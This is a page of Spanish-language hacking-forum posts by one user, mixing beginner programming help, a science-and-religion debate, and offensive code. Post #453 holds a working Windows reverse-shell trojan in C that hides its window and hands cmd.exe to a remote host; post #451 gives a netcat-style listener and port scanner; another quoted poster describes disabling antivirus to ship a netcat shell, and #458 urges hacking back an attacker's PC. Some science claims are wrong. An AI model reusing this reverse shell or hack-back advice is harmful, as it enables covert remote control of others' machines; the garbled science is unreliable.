Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Garfield07

#451
Perdona la tardanza... Tienes ante ti el hK 2.0, ni más ni menos jeje...
¿Y que estabas usando? Claro que tienes que usar sockets!


#include <time.h> //Hora
#include <stdio.h> //Funciones basicas entrada/salida
#include <string.h> //StrCmp
#include <stdlib.h> //Exit y otras
#include <arpa/inet.h> //struct sockaddr_in
#include <sys/socket.h> //Socket, Connect...

struct sockaddr_in host, client; //Declaraciones

int a=sizeof (struct sockaddr);
char buffer [1024];
int cont = 2;
int newsock;
int sockfd;
int k = 0;

int listens (int port); //Funciones
int conect (char *IP, int port);
int scan (char *IP);

int times () //Esta funcion escribira la fecha en pantalla...
{
time_t now=time (0);
struct tm *ahora;
char buffer [40];
ahora= (struct tm*)localtime ((const time_t*)&now);
strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("%s   ", buffer);
return 0;
}

int finalizar (int state) //Esta funcion detendra el programa en caso de problemas...

{
close (sockfd);

if (state == 1)
{
printf ("Ocurrio un error en tiempo de ejecucion...\n");

exit (1);
}
else exit (0);

}

int help () //Mal uso de la linea de comandos...
{
printf ("Use:\thK <options> <target_ip // port> [port]\n");
printf ("Options:+d // +v [Daemon // Verbose]\n");
printf ("\t+l // +c // +z [Listen // Connect // Scan]\n\n");
printf ("\t./hK -l <port>\n");
printf ("\t./hK -c <target_ip> <port>\n");
printf ("\t./hK -z <target_ip>\n\n");
printf ("Exp:\t./hK dl 31337\n");
printf ("\t./hK vc 192.168.0.1 31337\n");
printf ("\t./hK vz 192.168.0.1\n\n");
exit (1);
}

int main (int argc, char *argv [])
{
time_t now=time (0);
struct tm *ahora;
char hora [40];
ahora=localtime ((const time_t*)&now);
strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("hK 2.0 - By Sagrini (2010) - %s\n", hora); //Esto escribira la presentacion.

if (argc < 3 || argc > 4) help (); //Diferentes opciones y mal uso de linea de comandos.
if (strlen (argv [1]) != 2) help ();

if (argv [1][0] != 'd' && argv [1][0]!= 'v') help ();
if (argv [1][1] != 'l' && argv [1][1]!= 'c' && argv [1][1]!= 'z') help ();

if (argv [1][1] == 'l' && argv [2] == NULL) help ();
if (argv [1][1] == 'c' && argv [3] == NULL) help ();
if (argv [1][1] == 'z' && argv [2] == NULL) help ();

if (argv [1][0] == 'd') daemon (1, 0);
if (argv [1][1] == 'l') listens (atoi (argv [2]));
if (argv [1][1] == 'c') conect (argv [2], atoi (argv [3]));
if (argv [1][1] == 'z') scan (argv [2]);

return 0;
}

int listens (int port) //Esta funcion esperara una conexion y printara todo lo que reciba...
{
if ((sockfd=socket (2, 1, 0))==1) finalizar (1);
host.sin_port=htons(port);

host.sin_family=AF_INET;

host.sin_addr.s_addr=0;

memset (host.sin_zero, 0, 8);


if(bind(sockfd,(struct sockaddr*)&host,sizeof(host))==-1) finalizar (1);

if(listen(sockfd,5)==-1) finalizar (1);

if((newsock=accept(sockfd, (struct sockaddr*)&client, &a))==-1) finalizar (1);
times ();
printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));

close (sockfd);

int ID = fork ();
if (ID != 0)
{
do
{
fgets (buffer, 1024, stdin);
cont=send (newsock, &buffer, strlen (buffer), 0);
}
while (cont>1);
close (newsock);
close (sockfd);
printf ("Finishing connection with %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
}
else
{
cont=recv (newsock, &buffer, 1024, 0);
while (cont>1)
{
buffer [cont-1]='\0';
printf ("RECV %d bytes: %s \n", cont, buffer);
cont=recv (newsock, &buffer, 1024, 0);
}
close (newsock);
close (sockfd);
}
finalizar (0);

}

int conect (char *IP, int port) //Se conecta a una IP y a su puerto determinado para mandar datos...
{

if ((sockfd=socket (2, 1, 0))==1) finalizar (1);
host.sin_port=htons(port);

host.sin_family=AF_INET;

host.sin_addr.s_addr=inet_addr (IP);

memset (host.sin_zero, 0, 8);

if((connect (sockfd, (struct sockaddr*)&host, sizeof (host)))==-1) finalizar (1);
times ();
printf ("Got connection with %s:%d\n", inet_ntoa (host.sin_addr), ntohs (host.sin_port));

int ID = fork ();
if (ID != 0)
{
do
{
fgets (buffer, 1024, stdin);
cont=send (sockfd, &buffer, strlen (buffer), 0);
}
while (cont>1);
close (sockfd);
printf ("Finishing connection with %s:%d\n\n", inet_ntoa (host.sin_addr), ntohs (host.sin_port));
}
else
{
cont=recv (sockfd, &buffer, 1024, 0);
while (cont>1)
{
buffer [cont-1]='\0';
printf ("RECV %d bytes: %s \n", cont, buffer);
cont=recv (sockfd, &buffer, 1024, 0);
}
close (sockfd);
}
finalizar (0);

}

int scan (char *IP) //Sencillo escaner de puertos.
{
host.sin_addr.s_addr=inet_addr (IP);
host.sin_family=AF_INET;

memset (host.sin_zero, 0, 8);
for (cont = 0; cont < 65535; cont ++)
{
if ((sockfd=socket (2, 1, 0))==1) finalizar (1);
host.sin_port = htons (cont);

if (connect (sockfd, (struct sockaddr*)&host, sizeof (host)) != -1)
{
printf ("Port %d open\n", cont);
k++;
}
close (sockfd);
}
if (k == 0) printf ("All ports closed...\n");
else printf ("%d port(s) open(s)...\n", k);

finalizar (0);

}
#452
Cita de: jmm14304 en 26 Enero 2011, 03:46 AM
- Lo de robar cuentas, ¿lo ponen a posta los de la página o lo ha subido algún 'listo' de alguna manera al servidor?, porque si es así, se merece mi enhorabuena.
- ¿Puede ser que mi contacto de correo esté involucrado?, porque desde luego el correo falsificado es de museo.
Puede que sea de la pagina. Podrias mirar el index de esta y ver a que se dedica. Hace poco vi una que tenia una aplicacion de ese tipo subida al server... Seguramente un lammercillo ha encontrado un tesoro de pagina web para robar MSNs y ha decidido probar...
No creo, a lo mejor es sencillamente un virus que el lammercete se encontro junto a la web... Puede que al redireccionarte "algo" se descargue...
Y no es que merezca la pena. Si yo hago un programa parar sacar pass de las cuentas de un Linux y lo pongo en un sitio determinado, puede que alguien use mi programa para sacar la pass del guest...

Yo de ti simplemente me olvidaria, y si vuelve a aparecer pues veremos que url es esa...
#453
Cita de: xarlyuno en 29 Enero 2011, 12:35 PM
soy un poco novato en el tema, pero si observador; hace mucho que no toco C pero si puedo decirte algo realmente interesante que me pasó; conseguí con un programilla exo en batch que w7/vista/xp me envíe su shell a través de netcat; y como supongo que sabrás tuve que añadirle entradas al registro para que algunos antivirus no detectaran (vamos que no se iniciara el antivirus) nc, supongo que el fallo que cometes en C pueda estar resuelto en mi batch (ojo no pestañean en w7 ni vista al instalarse; ningun aviso)
Gracias por responder, esto estaba un poco pasado y nada mas tengo el code para Linux. No me vale batch, no es para fastidiar a nadie, solo saber como se hace en mi lenguaje. Mi codigo en C era sencillamente este de aqui:

#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>

struct sockaddr_in host;
SOCKET sockfd;


int main (int argc, char *argv [])
{
ShowWindow (GetForegroundWindow (), SW_HIDE);
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);

host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!
host.sin_port = htons (31337); //Igualmente!
host.sin_family = AF_INET;
memset (host.sin_zero, 0, 8);

       if ((sockfd = socket (2, 1, 0)) == -1) return 1;
       while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr))) Sleep (1);
PROCESS_INFORMATION info_proc;
STARTUPINFO start_proc;
memset(&start_proc,0,sizeof(start_proc));
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)sockfd;
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc);

       closesocket (sockfd);
       return 0;
}


El caso es que este metodo no va en Windows Vista / 7, asi que...
En el subforo de C tenia el post original, un moment...
http://foro.elhacker.net/programacion_cc/c_help_iquesttroyanos_en_windows_vista_7_iquestque_cambia_sin_resolver-t314490.0.html

Sin embargo, podria mirar tu codigo? Es por si me ilumina, pues lo tengo en la carpeta de Projects y nada...
Gracias!
#454
Dudas Generales / Re: Unas dudas...
29 Enero 2011, 12:46 PM
Cita de: jeanbkn en 28 Enero 2011, 22:48 PM
Jeje gracias por las ayudas, Por ahora ya casi domino a la perfeccion el "if y else"
Hace poco digamos que no me gusto mucho el python, pero cuando aprendi el if y el else, no se, me encanto... xD
Tenia una duda, el if y el else se pueden aplicar en logins? Es que no hallo la forma de como se haría. Por ahora solo lo se aplicar con  edades,si es menor de 50 es un joven, si es mayor es un viejo :p, haciendolin o con random.
Y esta sera la ultima pregunta que hare por unos dias, que es la que me da vueltas por la cabeza. ¿El html es lo mismo que el php? Porque puedo digamos, convertir de html a php, y me lo acepta..¿ Osea que son lo mismo?
El IF y el ELSE son fundamentales, si quieres para practicar te puedes poner a hacer un programa muy sencillo que te diga si un numero es par o impar. En C es:

#include <stdio.h> //Esto es una linea para decirle al compilador que meta las funciones de entrada/salida
// P.Ej. scanf () o printf ()
int main () //Declara la función main, indispensable. Aquí empieza el programa
{
int numero; //Declara "numero"
printf ("Escribe un numero: "); //Printf para imprimir.
scanf ("%d", &numero); //La %d indica que es un entero. &numero le pasa la direccion de la variable numero para
//escribir en ella.
if (numero % 2 == 0) //Si el resto de dividir numero / 2 es cero; numero par
printf ("El numero es par.\n"); //'\n' es un salto de linea, como un enter.
else //Si no
printf ("El numero es impar.\n"); //Igualmente

return 0; //Acaba el programa devolviendo 0, indicando que todo ha ido bien.
}

El IF y ELSE están en todos los lenguajes. Si te gusta Phyton aprendetelo, pero al menos mirate los demás lenguajes que te he dicho, empezando por arriba.

Para los logins se usa lo que te ha dicho FluFlu. Si el intento es igual a la pass, correcto. Si no, nada. Aunque para cadenas en C se usa una funcion llamada strcmp () que es STRingCoMParar (). Compara dos cadenas, es mejor que el ==. El random es para numeros aleatorios, no tiene nada que ver.

El PHP y HTML no es que sean lo mismo, como te ha dicho FluFlu. PHP te ejecuta unas funciones y el resultado te lo pone en HTML, que el navegador lee. Está muy bien explicado +1, asi que no me enrollo en esto...

De acuerdo, FluFlu, es deberias aprender HTML. Me has hecho entrar en razon jeje... Sin bases no hay ladrillos.

Cita de: Fluflu en 28 Enero 2011, 23:33 PM
No estoy de acuerdo, la verdad, creo que antes de aprender PHP hay que tener una base de HTML, igual que para cualquier otro lenguaje que se vaya a aplicar en una web, en el navegadro los resultados se imprimirán en HTML asi que... además no es ni un lenguaje de programación, es un lenguaje de maquetado...
Ahi tampoco estoy de acuerdo contigo, más que en lo que dices en que recomiendes hacerlo, es un delito sea como sea (no te digo que no sea atractivo jeje)
Vale, lo del HTML estamos ya de acuerdo. Ahora, lo del intruso, no digo "hackees", si no intenta saber por qué lo hace. Luego o hablas con el o lo denuncias o (a veces algo mas atractivo) le dejas fuera de linea un ratito...
#455
Jeje Seba te has sacado un 10, aunque lo de la enana negra no lo sabia. Creia que iba a pasar a ser una blanca forever.
Y lo de la colision, tampoco lo sabia, pero no me pillara vivo jeje...

Y sobre lo del Big-Bang, lo que he dicho es lo que se, y no se si es correcto. Vamos...
Cita de: Sagrini en 28 Enero 2011, 22:13 PM
El Big Bang se produjo porque toda la energía estaba concentrada en un único átomo, que explotó. Ahi estaba toda la energía que existe. El problema era que era muy pequeño. De esa energia se formo una pequeña particula de hidrógeno, que fue juntandose con otras y componiendo otros elementos.
Es lo que yo se, pienso y me han enseñado. Y el tiempo bien puede ser una ilusion, no niego nada pues no lo he pensado nunca, yo lo que sé es que todo es energía, por lo que no sé que es el tiempo, si no la velocidad con la que la energía cambia su estado...

Cita de: Xafirot en 28 Enero 2011, 22:45 PM
Yo pondria la mano en el fuego de que no es 100% correcto los cientificos ponen teorias de lo que el ser humano conoce , pero hay muchas cosas que no conocen.
Xafirot, hay un botoncito de Citar muy util jeje...
Evidentemente que hay cosas que no sabemos, pero ya verás que cuando las conozcamos y sepamos que son ciertas al 100% no tendrán ningun problema con la Biblia. La biblia es un texto sagrado con tantisimas copias que es imposible decir que se ha modificado. Es el libro más copiado del mundo, así que...
Y la iglesia ortodoxa se creó en el S. VIII o por ahí, no lo sé con certeza, pero no a la vez que la Iglesia Católica. Así que a ver vuestras respuestas.
#456
Cita de: Pox1 en 28 Enero 2011, 21:56 PM
leyendo varios post, bing bang, y desviando el tema un ¿poco Dios existe? tema muy hablado...
La verdad  mas me interesa saber que hay despues de la muerte que la inmortalidad; como dijeron por ahi que seria feo ver morir a personas que quieres...(como la que fue castigada a la vida eterna, creo que fue Andromeda)
Pero por ahora disfruto lo mas posible al estar junto a mi familia y seres queridos; y cuando llegue el día de morir, bienvenido sea.
1) Te pediria que cambiases tu foto, no agrada mucho, pero solo es una peticion. Cuando te veo en algun post, me salgo...
2) Pues para mi claro que existe, solo tengo que mirar a mi exterior y  usar la cabeza...
3) Exactamente por eso no quiero ser inmortal
4) Lo ultimo si me ha gustado  :)

Ahora, un niño de 1º de la ESO os va a corregir minimamente (a ver si me equivoco):
El Big Bang se produjo porque toda la energía estaba concentrada en un único átomo, que explotó. Ahi estaba toda la energía que existe. El problema era que era muy pequeño. De esa energia se formo una pequeña particula de hidrógeno, que fue juntandose con otras y componiendo otros elementos.
Las estrellas lo unico que hacen es cojer un atomo de hidrogeno y chocarlo con atomo de hidrogeno. Ahora para eso se necesita energia, provocada por el choque de otros dos atomos, y asi desde el primer átomo. Cuando chocan liberan muchisima energia que hace chocar otros mas y etc. Luego los dos atomos forman uno de helio y calor. Cuando se acabe el hidrogeno, solo habra helio, y se volvera o agujero negro o estrella enana. El sol sera enano, creo.

Cita de: Draklit en 28 Enero 2011, 17:34 PM
El universo se está expandiendo, pero esto significa que las estrellas se están alejando, no que están creciendo.
Según la ley de conservación de energía (si mal no recuerdo), la energía en un sistema no puede aumentar o disminuir, sólo cambiar de forma. Por ende, las estrellas consumen el hidrógeno (y otras moléculas que se forman a partir de las colisiones de las primeras) y luego, cuando no tienen suficiente energía para chocar los combustibles más pesados, símplemente colapsan sobre su peso.
Exactamente jeje, pleno!

Draklit y Xafirot, todo lo demás es incorrecto, creo...
Y... todo lo que ha dicho este enanete es cientificamente correcto. Y para los listos, no tiene ningun cruce con la Biblia. Todo es compatible.
#457
http://foro.elhacker.net/programacion_cc/como_sacar_una_ip_code-t299839.0.html#ixzz1CMjbGpRL
Eso seria un server. Para el client usaria hK 2.0, tmb mio, pero no lo tengo aqui. Si esta noche no puedo en mi casa, mañana te lo cuelgo y te mando un PM...
Recuerda retocar el code un poquito

El hK 2.0 tiene una funcion de escucha y otra de conex. Lo puedes usar para los dos:

./hK vl 31337
./hK vc 127.0.0.1 31337


Van perfectamente, aunque si en uno cierras la conex. el otro queda abierto hasta que mandas un mensaje :P
#458
Dudas Generales / Re: Unas dudas...
28 Enero 2011, 21:39 PM
Cita de: jeanbkn en 27 Enero 2011, 19:20 PM
La verdad SQL digamos que se regular, en python  estoy aprendiendo algo,
La cosa es que creo que lo que me resultara más comodo sera aprender en este orden
Python
Html aunque digamos que se algunas cosas basicas
y luego por el C.
Mmm, no se yo... te recomendaria Perl en vez de Phyton si quieres, pero si quieres aprender  sobre seguridad informática, empieza por C y olvidate de los lenguajes no compilados menos Perl, siempre util. HTML esta pasado, creo que algo de PHP podria venir bien...
Creo que la lista seria:
1. C
2. Java
3. ASM (un minimo)
4. Perl
5. PHP

Cita de: jeanbkn en 27 Enero 2011, 19:20 PM
Perdon por no haber respondido antes.

La verdad SQL digamos que se regular, en python  estoy aprendiendo algo,
La cosa es que creo que lo que me resultara más comodo sera aprender en este orden
Python
Html aunque digamos que se algunas cosas basicas
y luego por el C.

y tenia algunas dudas
-En el warzone, que  creo que se llama asi, salia algo de cryptografía,¿ Especificamente que es eso?
-Si algún dia llegan a hacerme sql injections, ya que mi server es base de datos, Y borran todo, Si llego a obtener la dirección IP, lo podría Hackear, borrarle cosas de su PC?¿  O me estaría convirtiendo en un cracker?
- ¿Me recomiendan aprender hasta la leccion 56? De python: http://pythonya.appspot.com/ De ahí aprendo.
La criptografía (del griego κρύπτω krypto, «oculto», y γράφω graphos, «escribir», literalmente «escritura oculta») es la técnica, bien sea aplicada al arte o la ciencia, que altera las representaciones lingüísticas de un mensaje.

Si consigues su IP, intenta hackear su PC y ver los motivos que tiene y lo que hace (lammear, crackear progs, etc). Si ves que su intencion es incorrecta...
1) Denuncias a la unidad de delitos telemáticos.
2) Hablas con él y segun lo que diga, pues actuas...

Y sobre las lecciones de Phyton, lee lo de arriba jeje..
Suerte!
PD: Te dejo algunas cosas que te pueden interesar:
http://foro.elhacker.net/index.php/topic,39296.0.html
http://foro.elhacker.net/criptografia/manual_criptografia_asimetrica_desde_cero-t309762.0.html
http://wiki.elhacker.net/bugs-y-exploits/overflows-y-shellcodes/exploits-y-stack-overflows-en-windows
http://elgaragevirtual.blogspot.com/2009/05/exploits-y-stack-overflows-en-windows.html
[Libro] Hacking, técnicas fundamentales : John Ericson : Anaya

Creo que por ahora va bien :P
Suerte!
#459
Bugs y Exploits / Re: Cursos sobre exploiting
27 Enero 2011, 21:54 PM
Cita de: leucocito en 27 Enero 2011, 21:30 PM
te informo que ya solo el olly ya de por si es capaz de reconocer 20 vulnerabilidades diferentes eso sin mencionar el GDB y sus protecciones :¬¬
Que no las conozcas por internet no quiere decir que no existan y si que hay muchos bugs aparte de los que mencione

Creo que no me he explicado bien...
Quiero decir que si generalizamos con BoF luego las demás cosas van a costar más. Lo que digo es que deberia ser algo global, no de BoF...
Lo he dicho porque tu...
Cita de: leucocito en 27 Enero 2011, 16:22 PM
Luego si se da el caso y tiene exito este post se podrian adentrar en otras tecmicas como son string format,heap bof....Pero bueno eso ya se vera.
Bueno, no quiero que sea en GDB y "luego" "si eso" hacemos otras cosas... Lo del string format nunca lo he llegado a pillar. Sólo lo superficial, pero sin profundizar...

char buff [4] = "%x%x";
printf (buff);

Pues muestra lo que hay antes de printf
Y luego en vez de %x

char buff [4] = "%u%u";
printf (buff);

O algo asi, que en vez de leer, escribia...
#460
Podrias probar algo como (en C)

FILE *FP = fopen (filename, (a+));
char byte;

while (!feof (FP))
{
byte = fgetc (FP)
if ((int)byte = 164)
printf ("%c", (char) 164);
else
putc (byte);
}


O algo asi. Hace tiempo que no uso fgetc asi que no se si los arg. están bien, pero mas o menos estaría correcta la idea...
Suerte!
Modf: Para los acentos es exactamente lo mismo
Remodf por si eso...:
La cosa es que leas un byte y si es una Ñ o demás, lo imprimas con su valor ASCII... Así me va a mi en C.